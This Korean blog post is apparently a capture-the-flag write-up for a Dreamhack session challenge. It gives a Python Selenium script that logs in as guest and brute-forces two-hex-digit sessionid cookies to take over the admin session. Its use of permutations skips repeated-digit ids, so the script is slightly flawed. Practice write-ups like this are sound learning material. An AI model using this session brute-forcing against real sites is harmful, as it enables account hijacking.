본문 바로가기

코드읽기/알고리즘

[드림핵] Session 문제 풀기 - Brute Force Attack

[드림핵] Session 문제 풀기 - Brute Force Attack with python

 

개요

무작위 대입 공격을 통해 드림핵 Session 문제 풀기

Python Selenium을 사용하여 seesionid를 바꿔준다

해당 문제가 1월 20일부로 변경

1월 20일 부로 수정된 session_basic 문제는 제공해주는 코드를 천천히 보면 풀 수 있음
해당 문제 댓글에 적혀있는 10초만에 풀었다가 거짓말이 아님

 

로그인 페이지

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

위 코드는 드림핵에서 제공하는 로그인 코드 중 일부이다

'admin'으로 로그인할 경우 2자리의 16진수 sessionid가 생성되어 로그인 세션이 유지된다

 

아이디어

webdriver 사용해 작업 과정 확인
guest로 로그인  후 sessionid 값 만 무작위 대입으로 교체
admin으로 로그인된 걸 확인하기 위해 스크립트의 Text를 출력

 

코드

import time
from selenium import webdriver
import itertools
from selenium.webdriver.common.by import By
import requests
driver = webdriver.Chrome()
driver.implicitly_wait(3)

# 2자리 16진수 조합
alphabet = "0123456789abcdef"
pw = list(map(''.join, itertools.permutations(alphabet, 2)))

# 드리햄 로그인 창 접속
driver.get('http://host1.dreamhack.games:16604/login')
time.sleep(1)


# driver.find_element(By.NAME, "username").clear()

# ID : guest 입력
driver.find_element(By.NAME, "username").send_keys('guest')
# pw : guest 입력
driver.find_element(By.NAME, "password").send_keys('guest')

# 로그인 버튼 클릭
driver.find_element(By.XPATH, """/html/body/div/form/button""").click()


for i in pw:
    # 세션키에 하나씩 무작위 대입
    driver.add_cookie ({'name' : 'sessionid', 'value' : f'{i}'})

    # 새로고침
    driver.refresh()

    # admin 으로 로그인됐나 확인
    # body > div 태그내에 모든 텍스트 출력
    # admin 로그인 성공시 : Welcome Hello admin ~ flag ~
    # guest 로그인 성공시 : Welcome Hello guest ~
    # 실패시 : Welcome
    string1 = driver.find_elements(By.CSS_SELECTOR, "body > div")
    for j in string1:
        print(j.text)
    print (driver.get_cookie ('sessionid'))


time.sleep(1)

결과